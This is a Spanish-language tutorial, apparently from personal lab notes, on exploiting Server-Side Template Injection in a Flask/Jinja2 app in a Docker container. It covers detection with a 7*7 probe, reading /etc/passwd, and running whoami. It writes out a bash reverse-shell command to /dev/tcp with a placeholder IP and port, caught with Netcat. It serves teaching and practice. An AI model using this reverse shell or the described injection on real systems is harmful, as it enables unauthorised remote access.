Server-Side Template Injection (SSTI)
Última actualización
Última actualización
El Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad en la que un atacante puede inyectar código malicioso en una plantilla de servidor.
Las plantillas de servidor son archivos que contienen código que se utiliza para generar contenido dinámico en una aplicación web. Los atacantes pueden aprovechar una vulnerabilidad de SSTI para inyectar código malicioso en una plantilla de servidor, lo que les permite ejecutar comandos en el servidor y obtener acceso no autorizado tanto a la aplicación web como a posibles datos sensibles.
En un caso práctico, los atacantes pueden detectar si una aplicación Flask está en uso, por ejemplo, utilizando herramientas como WhatWeb. Si un atacante detecta que una aplicación Flask está en uso, puede intentar explotar una vulnerabilidad de SSTI, ya que Flask utiliza el motor de plantillas Jinja2, que es vulnerable a este tipo de ataque.
Para los atacantes, detectar una aplicación Flask o Python puede ser un primer paso en el proceso de intentar explotar una vulnerabilidad de SSTI. Sin embargo, los atacantes también pueden intentar identificar vulnerabilidades de SSTI en otras aplicaciones web que utilicen diferentes frameworks de plantillas, como Django, Ruby on Rails, entre otros.
Yo para practicar me montare un contenedor con docker, tambien puedes practicar el la maquina GoodGames de HackThe Box.
Empezamos en el contenedor que yo tengo montado tenemos un input de usuario.
Si lanzamos a WhatWeb detecta Python como plantilla.
Si en el input hacemos un computo de 7x7 y la web nos lo interpreta es decir que la web compute esa multiplicacion que en este caso seria 49, nos estaria dando la pista que es vulnerable a SSTI.
Nos computa la multiplicacion nos dice hola 49. La web plantilla o como quieras es vulnerable a SSTI.
Sabiendo que ya es vulnerable a SSTI nos vamos ah PayloadAllTheThings. Para probar de todo tipo hasta encontrar la forma de leer archivos o ganar acceso a la maquina.
Si ejecutamos este Payload observamos que somos capaces de leer el /etc/passwd de la maquina.
Pero si ejecutamos este Payload que seria el equivalente a una cmd donde controlamos la tarea que queremos que se ejecute a nivel de sistema.
Si le pasamos whoami para ver quienes somos nos lo interpreta y nos dice root, nos dice root porque estamos exponiendo la web atravez de un contenedor pero normalmente siempre te dira www-data.
Teniendo todo esto ahora solo es cuestion de ganar acceso al sistema.
Ganamos acceso al sistema usando la tipica instruccion de bash -c "bash -i >& /dev/tcp/IP/Port >&1".
El & esta URL Encoding ah %26 ya que ese es su equivalente.
Ahora nos ponemos en escucha con Netcat y ganamos acceso al sistema.